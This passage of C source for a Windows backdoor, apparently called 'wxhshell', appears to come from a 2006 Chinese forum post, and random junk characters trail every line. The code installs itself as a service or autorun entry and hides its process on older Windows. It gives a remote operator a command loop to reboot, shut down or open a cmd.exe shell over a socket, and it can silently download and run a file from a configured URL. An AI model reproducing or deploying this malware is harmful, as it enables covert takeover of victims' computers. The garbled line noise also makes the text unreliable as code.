  else x4Eq5"F7}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0jE,=<W0>  
  } rcNM,!dZ  
  else { C$M^<z  
'$l*FWOEal  
    switch(cmd[0]) { (w@|:0t^y[  
  W:hR8 1ci  
  // 帮助 E$*I.i_m  
  case '?': { &<k )W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F0]= z-  
    break; E70  
  } NAHQ:$  
  // 安装 Xs*~ [k'  
  case 'i': { 6 3Kec  
    if(Install()) ^:LF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r'w5i1C+  
    else b&V=X{V4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G74<sD  
    break; fM \T^X  
    } ,T"(97"  
  // 卸载 3p$ZHH.UP  
  case 'r': { Qa(u+  
    if(Uninstall()) }+I 8l'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t55CT6Se  
    else j@2-^q:`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ApjLY58=  
    break; g)xzy^2e  
    } I3s'44  
  // 显示 wxhshell 所在路径 i1C]bUXA  
  case 'p': { I-&/]<5y  
    char svExeFile[MAX_PATH]; Lp1wA*  
    strcpy(svExeFile,"\n\r"); RhX 2qsva-  
      strcat(svExeFile,ExeFile); TDy@Y> )  
        send(wsh,svExeFile,strlen(svExeFile),0); dax|4R  
    break; k $3.FO"  
    } c-z=(Z  
  // 重启 Sg')w1  
  case 'b': { 32YE%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {tF=c0Z  
    if(Boot(REBOOT)) e7pN9tXGf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B_c(3n-"  
    else { t[)z/[ m  
    closesocket(wsh); x8tRa0-q  
    ExitThread(0); )<IbQH|_  
    } =:o)+NE  
    break; uh`~K6&*\w  
    } T JLz^%t  
  // 关机 ]-L/Of6F)|  
  case 'd': { B~yD4^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]wdudvS@6r  
    if(Boot(SHUTDOWN)) C'*1w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #q(BR{A>t  
    else { R*VZ=i  
    closesocket(wsh); 7A3e-51 >  
    ExitThread(0); (:M6*RV  
    } \ 1ys2BX  
    break; F#Z]Xq0r  
    } KDg!Y(m{  
  // 获取shell rQN+x|dKMb  
  case 's': { %+xh  
    CmdShell(wsh); lT1*e(I  
    closesocket(wsh); I{B8'n{cN  
    ExitThread(0); 5o rA#B  
    break; izmL8U ?t  
  } + +D(P=4hi  
  // 退出 T-f+<Cxf  
  case 'x': { tH17Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }yS"C fM  
    CloseIt(wsh); YPGn8A  
    break; BRD>q4w  
    } r$G;^  
  // 离开 Eu1s  
  case 'q': { ag[yM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); khc5h^0  
    closesocket(wsh); x\I9J4Q  
    WSACleanup(); h, +2Mc<  
    exit(1); mY dU`j  
    break; G4=%<+  
        } HPtaW:J  
  } h9g5W'.#  
  } V@e0VV3yx%  
/rKrnxw  
  // 提示信息 #^xiv/ sV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~wh8)rm  
} ~)sb\o  
  } WoesE:NiR  
C0KP,JS&  
  return; *kZJ  
} ikyvst>O  
* RN*Bh|$  
// shell模块句柄 P0}uTee  
int CmdShell(SOCKET sock) <bIAq8  
{ k. px  
STARTUPINFO si; T~`m'4"+c  
ZeroMemory(&si,sizeof(si)); tUz!]P2BUO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vHJ~~if  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U%w ?muJW  
PROCESS_INFORMATION ProcessInfo; aMh2[I  
char cmdline[]="cmd"; 1UxRN7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > YN<~z-  
  return 0; <P g.N  
} YNk?1#k?i  
?Za1  b  
// 自身启动模式 L{<E'#@F  
int StartFromService(void) "1h|1'S50?  
{ |]\qI  
typedef struct 0#XZ_(@%  
{ n8R{LjJ2@  
  DWORD ExitStatus; ?}B_'NZ%  
  DWORD PebBaseAddress; 4+ yd/^S  
  DWORD AffinityMask; #UI@<0P)  
  DWORD BasePriority; 0^:O:X  
  ULONG UniqueProcessId; &ATjDbW*(  
  ULONG InheritedFromUniqueProcessId; }g>&l.2X  
}   PROCESS_BASIC_INFORMATION; ]>*Z 1g;  
qo$<&'r  
PROCNTQSIP NtQueryInformationProcess; nyTfTn  
Ql [ =  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1mf|:2,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )CihqsA2  
[A[vR7&S  
  HANDLE             hProcess; nJA\P1@m  
  PROCESS_BASIC_INFORMATION pbi; U2@?!B[\d`  
z`f1|Ok  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); txTDuS  
  if(NULL == hInst ) return 0; *<s|WLMG  
/38^N|/Zr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 80axsU^H0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M0"xDvQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pbloL3d.;+  
0'VwObq  
  if (!NtQueryInformationProcess) return 0; f u\M2"e  
/1o~x~g(b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L[##w?Xf.  
  if(!hProcess) return 0; '1/uf;OXIH  
NWb,$/7T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8 :Z3Q  
viY _Y.Yjy  
  CloseHandle(hProcess); F9-xp7 T  
LGRX@nF#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RUSBJsMB  
if(hProcess==NULL) return 0; ^EM##Ss_  
k((_~<$2K  
HMODULE hMod; @/B&R^aVZ  
char procName[255]; ix*n<lCoC  
unsigned long cbNeeded; %3'80u6BCJ  
e"[o2=v;5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V mKMj'  
n#bC ,  
  CloseHandle(hProcess); TJ2$ Z  
3 LoB-4u?  
if(strstr(procName,"services")) return 1; // 以服务启动 W}a&L  
ndW? ?wiM  
  return 0; // 注册表启动 z9'ME   
} |;Jcf3e(  
Rf2;O<  
// 主模块 'd0]`2tVg4  
int StartWxhshell(LPSTR lpCmdLine) u= !?<Q  
{ &*[T  
  SOCKET wsl; V. \do"m  
BOOL val=TRUE; iHWl%]7sN  
  int port=0; A$[@AY$MI  
  struct sockaddr_in door; F0+u#/#  
]"{K5s7  
  if(wscfg.ws_autoins) Install(); iS=} | 8"  
qZCA16  
port=atoi(lpCmdLine); ZIkXy*<(  
|V%Qp5 XJ  
if(port<=0) port=wscfg.ws_port; $(.[b][S  
ZU7,=B=  
  WSADATA data; /&cb`^"U^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O .m; a_  
<gQw4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'SvYZ0ot  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Y_)%u  
  door.sin_family = AF_INET; %0$$tS +  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q<D'"7#.  
  door.sin_port = htons(port); ![{>f6{J  
 ()=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q %8,@xg  
closesocket(wsl); r;I 3N+  
return 1; $iupzVrro  
} Jc(tV(z  
yG2j!D  
  if(listen(wsl,2) == INVALID_SOCKET) { Nt'(JAZ;  
closesocket(wsl); SA)}---"  
return 1; #3\F<AJ<VB  
} u])N^AY"sj  
  Wxhshell(wsl); 50uNgLs  
  WSACleanup(); /i"L@t)\t  
YeptYW@xfw  
return 0; _;L9&>!p6  
i|)<#Ywl  
} 1^b-J0  
_Cj u C`7  
// 以NT服务方式启动 AQQeLdTq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s(r(! FZ  
{ ]fnc.^{  
DWORD   status = 0; L6J=m#Ld  
  DWORD   specificError = 0xfffffff; s+h`,gg9  
BC 9rsb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <Gr{h>b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qt+ K,LY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -|"mB"Dc  
  serviceStatus.dwWin32ExitCode     = 0; o} YFDYi  
  serviceStatus.dwServiceSpecificExitCode = 0; 0[H'l",~  
  serviceStatus.dwCheckPoint       = 0; Ky|dRbK,  
  serviceStatus.dwWaitHint       = 0; (kK6=Mrf  
^8ZVB.Fv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0 x4p!5  
  if (hServiceStatusHandle==0) return; $*\[I{Zau}  
jyb/aov  
status = GetLastError(); )F8G q,  
  if (status!=NO_ERROR) r**u=q %p  
{ \|L ~#{a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vxzh|uF  
    serviceStatus.dwCheckPoint       = 0; TG=) KS  
    serviceStatus.dwWaitHint       = 0; `lRZQ:27X  
    serviceStatus.dwWin32ExitCode     = status; F%UyFUz  
    serviceStatus.dwServiceSpecificExitCode = specificError; *[) b}?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {AoH  
    return; ;*{y!pgb  
  } n? e&I>1W  
t$m268m~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y9cW&rDH  
  serviceStatus.dwCheckPoint       = 0; kid3@  
  serviceStatus.dwWaitHint       = 0;  Cdin"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mg;+Th &  
} C{`+h163\  
)[.FUx  
// 处理NT服务事件,比如:启动、停止 $8kc1Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T<=Ci?C v  
{ )+'FTz` c  
switch(fdwControl) @{ _[bKg  
{ -R?~Yysd7K  
case SERVICE_CONTROL_STOP: +[<|TT  
  serviceStatus.dwWin32ExitCode = 0; "7(2m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iSCv/Gb:,  
  serviceStatus.dwCheckPoint   = 0; }te\) Yk.N  
  serviceStatus.dwWaitHint     = 0; Uf}s6#   
  { U3}r.9/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u]lf~EE  
  } Ghs{B8  
  return; C!6?.\U/:c  
case SERVICE_CONTROL_PAUSE: P:eY>~m<;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q"7rd?r52  
  break; D(yU:^L  
case SERVICE_CONTROL_CONTINUE: PHU#$LG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bS=aFl#  
  break; =;#+8w=^  
case SERVICE_CONTROL_INTERROGATE: 3xj ?}o  
  break; JL5 )  
}; C_mPw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a/A$ MXZ_  
} J!b v17H"  
/GCI`hx>"  
// 标准应用程序主函数 Km7HB!=<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1:h{( %`&  
{ 56T<s+X>  
kq&xH;9=.  
// 获取操作系统版本 q+<X*yC  
OsIsNt=GetOsVer(); klmRU@D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =~}\g;K1Q  
KSe `G;{  
  // 从命令行安装 P1tc*2Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5v >0$Y{  
q,w8ca 4~y  
  // 下载执行文件 r`Y[XzT9  
if(wscfg.ws_downexe) { M S$^m2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R>f$*T  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9. :r;HG  
} G;#-CT  
BQmHYar  
if(!OsIsNt) { CV&+^_j'k  
// 如果时win9x,隐藏进程并且设置为注册表启动 SEu1M}+E  
HideProc(); b9b384Q1O  
StartWxhshell(lpCmdLine); gmtp/?>e  
} Jn!-Wa,  
else f86h"#4  
  if(StartFromService()) =m]|C1x  
  // 以服务方式启动 AJ1(q:P  
  StartServiceCtrlDispatcher(DispatchTable); 0~ !).f  
else d~ n|F|`:  
  // 普通方式启动 WsO'4~X9  
  StartWxhshell(lpCmdLine); E:'TZ4Z  
/qM:;:N%j  
return 0; N.R,[K  
}
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只看该作者 1 发表于: 2006-10-10
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